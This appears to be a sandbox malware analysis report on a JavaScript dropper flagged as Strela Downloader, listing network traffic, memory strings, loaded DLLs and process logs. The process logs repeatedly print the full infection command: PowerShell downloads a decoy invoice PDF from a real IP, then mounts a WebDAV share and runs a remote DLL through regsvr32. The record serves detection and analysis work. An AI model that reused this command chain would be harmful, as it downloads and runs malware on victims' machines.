2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49742

Source: global traffic

TCP traffic: 192.168.2.7:49742 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49721 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1318375567.0000027497C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1395241833.0000019C4715C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.1395241833.0000019C47138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 0000000A.00000002.2598866953.0000022219400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1386039602.0000022219250000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7344, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2553416555111621752.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7488:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwdvkwzp.zzw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,13139641673470798517,2648342206125239911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,13139641673470798517,2648342206125239911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
